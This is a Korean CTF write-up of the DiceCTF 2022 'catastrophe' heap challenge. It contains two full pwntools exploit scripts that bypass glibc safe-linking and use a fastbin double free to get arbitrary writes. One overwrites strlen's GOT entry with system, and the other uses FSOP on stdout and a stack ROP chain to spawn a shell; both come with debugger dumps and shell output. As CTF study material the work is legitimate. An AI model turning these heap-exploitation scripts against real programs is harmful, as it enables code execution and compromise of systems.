콘텐츠로 건너뛰기

[DiceCTF2022] catastrophe (FSOP, safe-linking)

Source

https://github.com/dicegang/hope-2022-challenges/tree/master/pwn/catastrophe/bin

https://ctftime.org/writeup/34812

checksec

seo@seo:~/study/DiceCTF2022Hope/catastrophe$ checksec ./catastrophe
[*] '/home/seo/study/DiceCTF2022Hope/catastrophe/catastrophe'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Docker configure

sudo docker build . -t catastrophe
sudo docker run -it --rm --privileged --security-opt seccomp=unconfined --user root -p 1337:1337 -p 22222:22222 -p 12345:1234 catastrophe sh
  • Host
$ nc -lp 1338 > libc.so.6

$ nc -lp 1338 > ld-linux-x86-64.so.2
  • Guest
# cat /srv/lib/x86_64-linux-gnu/libc.so.6 | nc 172.17.0.1 1338

# cat /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2  | nc 172.17.0.1 1338

Environment

Ubuntu 22.04 LTS / Ubuntu GLIBC 2.35-0ubuntu3

Decompiled-src

  • 인덱스별 최대 10개의 청크까지 메모리 주소 저장이 가능.
  • 할당 가능한 malloc 크기는 0x200을 초과하거나 0이 되면 안됨.
  • free시 전역변수에 저장된 chunks 배열에는 여전히 남아있음.
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 number; // rax

  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  while ( 1 )
  {
    print_menu();
    number = get_number();
    if ( number == 4 )
    {
      puts("Bye!");
      exit(0);
    }
    if ( number <= 4 )
    {
      switch ( number )
      {
        case 3uLL:
          op_view();
          goto LABEL_13;
        case 1uLL:
          op_malloc();
          goto LABEL_13;
        case 2uLL:
          op_free();
          goto LABEL_13;
      }
    }
    puts("Invalid choice!");
LABEL_13:
    putchar(10);
  }
}

int print_menu()
{
  puts("--- menu ---");
  puts("1) malloc");
  puts("2) free");
  puts("3) view");
  puts("4) leave");
  return puts("------------");
}

unsigned __int64 get_number()
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("> ");
  fgets(s, 16, stdin);
  return strtoull(s, 0, 10);
}

int op_view()
{
  __int64 index; // [rsp+8h] [rbp-8h]

  puts("Index?");
  index = get_index();
  return puts(*((const char **)&chonks + index));
}

int op_malloc()
{
  __int64 index; // [rsp+0h] [rbp-10h]
  unsigned __int64 size; // [rsp+8h] [rbp-8h]

  puts("Index?");
  index = get_index();
  puts("Size?");
  size = get_number();
  if ( !size || size > 0x200 )
    return puts("Interesting...");
  *((_QWORD *)&chonks + index) = malloc(size);
  printf("Enter content: ");
  return (unsigned int)fgets(*((char **)&chonks + index), size, stdin);
}

void op_free()
{
  __int64 index; // [rsp+8h] [rbp-8h]

  puts("Index?");
  index = get_index();
  free(*((void **)&chonks + index));
}

unsigned __int64 get_index()
{
  unsigned __int64 number; // [rsp+8h] [rbp-8h]

  while ( 1 )
  {
    number = get_number();
    if ( number <= 9 )
      break;
    puts("Invalid!");
  }
  return number;
}

Solution (fastbin_dup 기법을 통해 AAW 얻기)

1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기.

충분히 tcache에 가득채우기 위해 8번 할당시키고, 처음 기준 7번 할당 해제한다.

unsorted bin 타입이여야 fd, bk 값을 통해 libc 주소를 leak할 수 있기에, 0x100으로 malloc 시켜줬다.

for i in range(8):
    malloc(i, 0x100, b"A"*8)

malloc(8, 0x100, b"B"*8)

for i in range(7):
    free(i)
  • 결과
gdb-peda$ x/16gx 0x5b3fb20ab060
0x5b3fb20ab060 <chonks>:	0x00005b3fcb4772a0	0x00005b3fcb4773b0
0x5b3fb20ab070 <chonks+16>:	0x00005b3fcb4774c0	0x00005b3fcb4775d0
0x5b3fb20ab080 <chonks+32>:	0x00005b3fcb4776e0	0x00005b3fcb4777f0
0x5b3fb20ab090 <chonks+48>:	0x00005b3fcb477900	0x00005b3fcb477a10
0x5b3fb20ab0a0 <chonks+64>:	0x00005b3fcb477b20	0x0000000000000000
0x5b3fb20ab0b0:	0x0000000000000000	0x0000000000000000
0x5b3fb20ab0c0:	0x0000000000000000	0x0000000000000000
0x5b3fb20ab0d0:	0x0000000000000000	0x0000000000000000
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x5b3fcb477000      0x0                 0x290                Used                None              None
0x5b3fcb477290      0x0                 0x110                Freed        0x5b3fcb477              None
0x5b3fcb4773a0      0x0                 0x110                Freed     0x5b3a78bbc6d7              None
0x5b3fcb4774b0      0x0                 0x110                Freed     0x5b3a78bbc7c7              None
0x5b3fcb4775c0      0x0                 0x110                Freed     0x5b3a78bbc0b7              None
0x5b3fcb4776d0      0x0                 0x110                Freed     0x5b3a78bbc1a7              None
0x5b3fcb4777e0      0x0                 0x110                Freed     0x5b3a78bbc297              None
0x5b3fcb4778f0      0x0                 0x110                Freed     0x5b3a78bbc387              None
0x5b3fcb477a00      0x0                 0x110                Freed     0x750f4801ace0    0x750f4801ace0
0x5b3fcb477b10      0x110               0x110                Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5b3fcb477c20 (size : 0x203e0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5b3fcb477a00 (size : 0x110)
(0x110)   tcache_entry[15](7): 0x5b3fcb477900 --> 0x5b3fcb4777f0 --> 0x5b3fcb4776e0 --> 0x5b3fcb4775d0 --> 0x5b3fcb4774c0 --> 0x5b3fcb4773b0 --> 0x5b3fcb4772a0
gdb-peda$ 

free chunk에 해당되는 0x5b3fcb477a00 청크를 살펴보자.

glibc 2.32 버전부터 safe-linking 보호기법이 적용되있으나
unsorted bin은 적용되지 않아 base 주소를 쉽게 구할 수 있다.

gdb-peda$ x/16gx 0x5b3fcb477a00
0x5b3fcb477a00:	0x0000000000000000	0x0000000000000111
0x5b3fcb477a10:	0x0000750f4801ace0	0x0000750f4801ace0
0x5b3fcb477a20:	0x0000000000000000	0x0000000000000000
0x5b3fcb477a30:	0x0000000000000000	0x0000000000000000
0x5b3fcb477a40:	0x0000000000000000	0x0000000000000000
0x5b3fcb477a50:	0x0000000000000000	0x0000000000000000
0x5b3fcb477a60:	0x0000000000000000	0x0000000000000000
0x5b3fcb477a70:	0x0000000000000000	0x0000000000000000
gdb-peda$ 

아래와 같이 복호화시키고 libc 베이스 주소를 구하면 된다.

  • 최종 코드
def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

# 1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기.
for i in range(8):
    malloc(i, 0x100, b"A"*8)

malloc(8, 0x100, b"B"*8)

for i in range(8):
    free(i)

leak = view(7)
libc_base = rl().split(b'\n')[0]
libc_base = uu64(libc_base) - 0x21ace0
# libc_base = uu64(libc_base) - 0x219ce0
info(f"libc_base: {hex(libc_base)}")
l.address = libc_base
free(8) #clean
  • 결과
seo@seo:~/study/DiceCTF2022Hope/catastrophe$ python3 solve2.py
[+] Starting local process './catastrophe.bak': pid 5465
[*] libc_base: 0x7a0998600000

2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기.

0x10크기로 malloc을 10번 수행해준다.

이후 7번 할당해제시키면, (0x20) tcache_entry[0](7) 를 살펴봤을때 tcache에 가득 담긴걸 확인할 수 있다.

이후 같은 크기 청크를 할당해제한다면, 이제 fastbin에 담긴다.

# 2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기.
for i in range(10):
    malloc(i, 0x10, b"A"*8)

for i in range(7):
    free(i)
  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5cbb5db7eb40 (size : 0x204c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x5cbb5db7ead0 --> 0x5cbb5db7eab0 --> 0x5cbb5db7ea90 --> 0x5cbb5db7ea70 --> 0x5cbb5db7ea50 --> 0x5cbb5db7ea30 --> 0x5cbb5db7ea10
(0x110)   tcache_entry[15](7): 0x5cbb5db7e900 --> 0x5cbb5db7e7f0 --> 0x5cbb5db7e6e0 --> 0x5cbb5db7e5d0 --> 0x5cbb5db7e4c0 --> 0x5cbb5db7e3b0 --> 0x5cbb5db7e2a0
gdb-peda$ 

fastbin dup / Double-free 버그 트리거함.

free(7) # A idx 7 : A linked into fastbin
free(8) # B idx 8 : B linked into fastbin
free(7) # A idx 7 : A linked into fastbin again
  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x56ddf01aaae0 --> 0x56ddf01aab00 --> 0x56ddf01aaae0 (overlap chunk with 0x56ddf01aaae0(freed) )
...

idx 8의 fd 값을 복호화함.

view(8)
leak = rl().split(b"\n")[0]
enc_fd = uu64(leak)
info(f"enc_fd: {hex(enc_fd)}")
orig_fd = decrypt(enc_fd)
info(f"orig_fd: {hex(orig_fd)}")

#enc_fd = (orig_fd) ^ (heap_base >> 12)
heap_base_rshifted_12 = orig_fd ^ enc_fd
info(f"heap_base_rshifted_12: {hex(heap_base_rshifted_12)}")
  • 결과
[*] enc_fd: 0x58ef8e074094
[*] orig_fd: 0x58ea00a74ae0
[*] heap_base_rshifted_12: 0x58ea00a74

tcache를 비우기 위해 malloc(0x10)을 7번 수행함.

#empty tcache
for i in range(7):
    malloc(i, 0x10, b"C"*8)
  • Before 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x600b54a53ae0 --> 0x600b54a53b00 --> 0x600b54a53ae0 (overlap chunk with 0x600b54a53ae0(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x600b54a53b40 (size : 0x204c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](7): 0x600b54a53ad0 --> 0x600b54a53ab0 --> 0x600b54a53a90 --> 0x600b54a53a70 --> 0x600b54a53a50 --> 0x600b54a53a30 --> 0x600b54a53a10
(0x110)   tcache_entry[15](7): 0x600b54a53900 --> 0x600b54a537f0 --> 0x600b54a536e0 --> 0x600b54a535d0 --> 0x600b54a534c0 --> 0x600b54a533b0 --> 0x600b54a532a0
gdb-peda$ 
  • After 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x600b54a53ae0 --> 0x600b54a53b00 --> 0x600b54a53ae0 (overlap chunk with 0x600b54a53ae0(freed) )
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x600b54a53b40 (size : 0x204c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x110)   tcache_entry[15](7): 0x600b54a53900 --> 0x600b54a537f0 --> 0x600b54a536e0 --> 0x600b54a535d0 --> 0x600b54a534c0 --> 0x600b54a533b0 --> 0x600b54a532a0

libc base 주소의 strlen got ← system 함수, AAW 수행

  • 이제 할당시 malloc idx0와 malloc idx2는 같은 주소를 가리킴.
  • malloc idx2 할당하기 전에, malloc idx0에 AAW할 대상 주소 결정. (libc의 strlen@got 주소)
  • 이는 추후, malloc idx3에서 할당받아 값을 AAW할 수 있음. (system 함수)
  • idx 1또는 2에서 sh 값을 적어둔뒤, view를 통해 호출하면 puts 내부함수의 strlen에서 system 함수가 수행됨.
where = (l.got.strlen-8) ^ heap_base_rshifted_12
what = l.sym.system;ip()
malloc(0, 0x10, p64(where));#ip()           #0x5df205c0eaf0
malloc(1, 0x10, b"D"*8);#ip()               #0x5df205c0eb10
malloc(2, 0x10, b"sh\x00");#ip()            #0x5df205c0eaf0
malloc(3, 0x10, b"\x00" * 8 + p64(what))    #0x7ecd3181a090

view(2)

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./catastrophe.bak")
e = ELF('./catastrophe.bak',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def malloc(idx, size, content):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "1")
    sla("> ", str(idx))
    sla("> ", str(size))
    sla(b"Enter content: ", content)

def free(idx):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "2")
    sla("> ", str(idx))

def view(idx):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "3")
    sla("> ", str(idx))

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

# 1. unsorted bin을 이용하여 fd값을 통해 libc base 주소 구하기.
for i in range(8):
    malloc(i, 0x100, b"A"*8)

malloc(8, 0x100, b"B"*8)

for i in range(8):
    free(i)

leak = view(7)
libc_base = rl().split(b'\n')[0]
libc_base = uu64(libc_base) - 0x21ace0
# libc_base = uu64(libc_base) - 0x219ce0
info(f"libc_base: {hex(libc_base)}")
l.address = libc_base
free(8) #clean


# 2. fastbin_dup 기법을 통해 할당받으려는 주소를 임의 조작하기.
for i in range(10):
    malloc(i, 0x10, b"A"*8)

for i in range(7):
    free(i)

free(7) # A idx 7 : A linked into fastbin
free(8) # B idx 8 : B linked into fastbin
free(7) # A idx 7 : A linked into fastbin again

view(8)
leak = rl().split(b"\n")[0]
enc_fd = uu64(leak)
info(f"enc_fd: {hex(enc_fd)}")
orig_fd = decrypt(enc_fd)
info(f"orig_fd: {hex(orig_fd)}")

#enc_fd = (orig_fd) ^ (heap_base >> 12)
heap_base_rshifted_12 = orig_fd ^ enc_fd
info(f"heap_base_rshifted_12: {hex(heap_base_rshifted_12)}")


#empty tcache
for i in range(7):
    malloc(i, 0x10, b"C"*8)

#enc_fd = (orig_fd) ^ (heap_base >> 12)
where = (l.got.strlen-8) ^ heap_base_rshifted_12
what = l.sym.system
malloc(0, 0x10, p64(where));#ip()           #0x5df205c0eaf0
malloc(1, 0x10, b"D"*8);#ip()               #0x5df205c0eb10
malloc(2, 0x10, b"sh\x00");#ip()            #0x5df205c0eaf0
malloc(3, 0x10, b"\x00" * 8 + p64(what))    #0x7ecd3181a090

view(2)

pi()

Result

...
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00> $                                                                       i                                                                                                                                     id                                                                                                                                    id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
$ whoami
seo
$ 
[*] Interrupted
[*] Stopped process './catastrophe.bak' (pid 6521)
seo@seo:~/study/DiceCTF2022Hope/catastrophe$ 

BONUS

https://ctftime.org/writeup/34812

만약 libc@got 영역의 strlen 주소를 못쓰는 경우 FSOP 기법을 통해 ROP으로 쉘을 따는 방법이 있는것같다.

solve 스크립트를 간단하게 살펴보자.

요약:

# 1. Defeat safe-linking
# malloc(0x100) 7번 할당시키고 0번 인덱스를 free시켜 fd값을 알아낸다음, 다시 0번쨰 인덱스 할당.

# 2. 
# 7,8 인덱스에 malloc(0x100)을 더 하지만, 9번 인덱스부터는 malloc(0x10)으로 "/bin/sh" 저장.

# 3. 
# 0~6번째 인덱스를 free 시키고

# 4.
# fastbin_dup 트리거? free(8)-free(7)-malloc(0x100, dummy)-free(8)
# free(7) 이후, view(8)으로 fd값을 통해 libc base 주소 획득

# 5.
# 이후 malloc(1, 0x130)에 fake chunk 구성.
# malloc(2, 0x100, dummy) 구성.
# malloc(3, 0x100, fsop chain) 구성시켜 스택주소 누출.

# 6.
# free(1) - free(2)이후, malloc(5, 0x130, fake chunk) 구성.
# malloc(2, 0x100, dummy) - malloc(3, 0x100, stack + rop chain) 구성.

1.
우선은 safe-linking 보호기법을 간파하기 위한것으로 보인다.
free된 idx0에는 fd가 남는데, 이를 통해 heap base 주소를 획득한다.

...
for i in range(7):
    malloc(i, 0x100, b"")
free(0)

view(0)

heap = ((u64(p.recvline()[:-1].ljust(8, b"\x00")) << 12))
info(f"heap @ {hex(heap)}")
# then we defeated safe linking lol
  • 결과
gdb-peda$ x/16gx &chonks
0x594f48907060 <chonks>:	0x0000594f4ff2c2a0	0x0000594f4ff2c3b0
0x594f48907070 <chonks+16>:	0x0000594f4ff2c4c0	0x0000594f4ff2c5d0
0x594f48907080 <chonks+32>:	0x0000594f4ff2c6e0	0x0000594f4ff2c7f0
0x594f48907090 <chonks+48>:	0x0000594f4ff2c900	0x0000000000000000
0x594f489070a0 <chonks+64>:	0x0000000000000000	0x0000000000000000
0x594f489070b0:	0x0000000000000000	0x0000000000000000
0x594f489070c0:	0x0000000000000000	0x0000000000000000
0x594f489070d0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/8gx 0x0000594f4ff2c2a0
0x594f4ff2c2a0:	0x0000000594f4ff2c	0xd727fc9de02a60ea
0x594f4ff2c2b0:	0x0000000000000000	0x0000000000000000
0x594f4ff2c2c0:	0x0000000000000000	0x0000000000000000
0x594f4ff2c2d0:	0x0000000000000000	0x0000000000000000

gdb-peda$ heapbase
heapbase : 0x594f4ff2c000

gdb-peda$ p/x 0x0000000594f4ff2c<<12
$2 = 0x594f4ff2c000

2.
free시켰던걸로 다시 같은 0x100 크기로 malloc하고 (malloc(0, 0x100, b"YY")),
추후 fastbin_dup을 트리거시키기 위해 3번더 0x100크기만큼 malloc 시킨다.
특이사항으로 idx9에서 0x10 크기로 malloc하여 /bin/sh 문자열을 놓는다.

...
malloc(0, 0x100, b"YY")

malloc(7, 0x100, b"YY")
malloc(8, 0x100, b"YY")

malloc(9, 0x10, b"/bin/sh\0")
gdb-peda$ x/16gx &chonks
0x55a59a8a2060 <chonks>:	0x000055a5d54732a0	0x000055a5d54733b0
0x55a59a8a2070 <chonks+16>:	0x000055a5d54734c0	0x000055a5d54735d0
0x55a59a8a2080 <chonks+32>:	0x000055a5d54736e0	0x000055a5d54737f0
0x55a59a8a2090 <chonks+48>:	0x000055a5d5473900	0x000055a5d5473a10
0x55a59a8a20a0 <chonks+64>:	0x000055a5d5473b20	0x000055a5d5473c30
0x55a59a8a20b0:	0x0000000000000000	0x0000000000000000
0x55a59a8a20c0:	0x0000000000000000	0x0000000000000000
0x55a59a8a20d0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/s 0x000055a5d5473c30
0x55a5d5473c30:	"/bin/sh"

3.
tcache를 가득 채우기 위해 처음기준 idx0부터 7번 free 시킨다.

for i in range(7):
    free(i)
  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5c73fe7eac40 (size : 0x203c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x110)   tcache_entry[15](7): 0x5c73fe7ea900 --> 0x5c73fe7ea7f0 --> 0x5c73fe7ea6e0 --> 0x5c73fe7ea5d0 --> 0x5c73fe7ea4c0 --> 0x5c73fe7ea3b0 --> 0x5c73fe7ea2a0

4.
이제 idx9에 100크기만큼 (0x100과 다름) 할당시켰다 다시 free 해준다.

의도는 아직까진 잘 모르겠다…? 아무튼 free를 했으니 0x70 tcache로 들어간다.

사실 해당 작업 안해도, 쉘 따지는거 확인.

malloc(9, 100, b"YY")
free(9)
  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x560b807d5cb0 (size : 0x20350) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x70)   tcache_entry[5](1): 0x560b807d5c50
(0x110)   tcache_entry[15](7): 0x560b807d5900 --> 0x560b807d57f0 --> 0x560b807d56e0 --> 0x560b807d55d0 --> 0x560b807d54c0 --> 0x560b807d53b0 --> 0x560b807d52a0

5.
이전 3번 과정에서 tcache를 채웠다면, 이제는 unsorted bin으로 들어갈 차례다.

idx8, idx7를 free하고, idx8에 적힌 fd 값을 통해 libc base 주소를 구한다.

free(8)
free(7)
view(8)

l.address = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x21ace0 # - 0x1bebe0 # offset of the unsorted bin

rop = ROP(l)
binsh = next(l.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)

environ = l.sym.environ
stdout = l.sym._IO_2_1_stdout_

info(f"libc: {hex(l.address)}")
info(f"environ: {hex(environ)}")
info(f"stdout: {hex(stdout)}")
  • 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5bc4cfc0ac40 (size : 0x203c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5bc4cfc0aa00 (size : 0x220)
(0x110)   tcache_entry[15](7): 0x5bc4cfc0a900 --> 0x5bc4cfc0a7f0 --> 0x5bc4cfc0a6e0 --> 0x5bc4cfc0a5d0 --> 0x5bc4cfc0a4c0 --> 0x5bc4cfc0a3b0 --> 0x5bc4cfc0a2a0

6.
idx0에 0x100만큼 malloc하고, idx8을 double-free시킨다.

malloc(0, 0x100, b"YY")
free(8)
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5ace26a32c40 (size : 0x203c0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5ace26a32a00 (overlap chunk with 0x5ace26a32b10(freed) )
(0x110)   tcache_entry[15](7): 0x5ace26a32b20 --> 0x5ace26a327f0 --> 0x5ace26a326e0 --> 0x5ace26a325d0 --> 0x5ace26a324c0 --> 0x5ace26a323b0 --> 0x5ace26a322a0
gdb-peda$ 

7.
idx1에 0x130크기만큼 메모리를 할당하는데, fake chunk를 구성하는것처럼 보인다.

  • mchunk_size = 0x111
  • stdout 주소에 safe-linking 보호기법 적용

idx2에는 0x100크기만큼 malloc하고,

idx3에서 0x100크기만큼 malloc할때의 주소는 이제 libc의 IO_2_1_stdout 함수를 가리킨다.

file structure 구조체를 조작하면, stack 주소를 릭되어 stack base 주소를 구할 수 있다.

malloc(1, 0x130, b"T"*0x108 + p64(0x111) + p64((stdout ^ ((heap + 0xb20) >> 12))))
malloc(2, 0x100, b"TT")
malloc(3, 0x100, p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8))

stack = u64(p.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin
info(f"stack: {hex(stack)}")

8.
idx1, 2를 free시키고, 다시한번 AAW 구성을 하려는것처럼 보인다.

idx5에서 0x130크기만큼 메모리를 할당하고 fake chunk를 구성한다.
여기서 mchunk_size는 0x111, 스택 주소가 safe-linking 적용되어 함께 들어간다.

idx2에서 다시 0x100크기만큼 malloc하고,

idx3에서 스택 주소를 할당받게 되어 (정확히는 op_malloc함수에서의 rbp) rop chain이 써져
execve(”sh”, 0, 0)을 수행하게 만든다.

free(1) # large
free(2)

malloc(5, 0x130, b"T"*0x108 + p64(0x111) + p64((stack ^ ((heap + 0xb20) >> 12))))
malloc(2, 0x100, b"TT")

malloc(3, 0x100, p64(stack) + rop.chain()) # overwrite sRBP for nothing lmao
  • solve_rop.py
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./catastrophe.bak")
e = ELF('./catastrophe.bak',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def malloc(idx, size, content):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "1")
    sla("> ", str(idx))
    sla("> ", str(size))
    sla(b"Enter content: ", content)

def free(idx):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "2")
    sla("> ", str(idx))

def view(idx):
    if(idx > 10):
        info("idx is too big")
        sys.exit(1)
    sla("> ", "3")
    sla("> ", str(idx))

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

# 1. Defeat safe-linking
# malloc(0x100) 7번 할당시키고 0번 인덱스를 free시켜 fd값을 알아낸다음, 다시 0번쨰 인덱스 할당.
for i in range(7):
    malloc(i, 0x100, b"")
free(0)

view(0)

heap = ((u64(p.recvline()[:-1].ljust(8, b"\x00")) << 12))
info(f"heap @ {hex(heap)}")
# then we defeated safe linking lol
malloc(0, 0x100, b"YY")

# 2. 7,8 인덱스에 malloc(0x100)을 더 하지만, 9번 인덱스부터는 malloc(0x10)으로 "/bin/sh" 저장.
malloc(7, 0x100, b"YY")
malloc(8, 0x100, b"YY")

malloc(9, 0x10, b"/bin/sh\0")


# 3. 0~6번째 인덱스를 free 시키고
for i in range(7):
    free(i)

# 4.
# fastbin_dup 트리거. free(8)-free(7)-malloc(0x100, dummy)-free(8)
# free(7) 이후, view(8)으로 fd값을 통해 libc base 주소 획득
free(8)
free(7)
view(8)

l.address = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x21ace0 # - 0x1bebe0 # offset of the unsorted bin

rop = ROP(l)
binsh = next(l.search(b"/bin/sh\x00"))
rop.execve(binsh, 0, 0)

environ = l.sym.environ
stdout = l.sym._IO_2_1_stdout_

info(f"libc: {hex(l.address)}")
info(f"environ: {hex(environ)}")
info(f"stdout: {hex(stdout)}")

# ip()

#0x556190f0d900
malloc(0, 0x100, b"YY")
free(8)

# 5.
# 이후 malloc(1, 0x130)에 fake chunk 구성.
# malloc(2, 0x100, dummy) 구성.
# malloc(3, 0x100, fsop chain) 구성시켜 스택주소 누출.
#0x556190f0da10
malloc(1, 0x130, b"T"*0x108 + p64(0x111) + p64((stdout ^ ((heap + 0xb20) >> 12))))
#0x556190f0db20
malloc(2, 0x100, b"TT")
#0x7d3a1821b780 (libc: 0x7d3a18000000)
malloc(3, 0x100, p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8))

